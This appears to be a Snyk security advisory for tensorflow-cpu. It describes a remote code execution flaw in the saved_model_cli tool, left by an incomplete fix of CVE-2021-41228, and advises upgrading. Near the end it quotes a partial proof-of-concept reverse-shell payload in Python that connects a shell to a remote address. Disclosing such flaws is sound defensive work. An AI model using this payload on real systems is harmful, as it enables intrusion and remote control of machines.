Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade tensorflow-cpu
to version 2.6.4, 2.7.2, 2.8.1, 2.9.0 or higher.
tensorflow-cpu is a machine learning framework.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper fix of CVE-2021-41228. Exploiting this vulnerability is possible via the saved_model_cli
tool and can be abused to open a reverse shell.
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default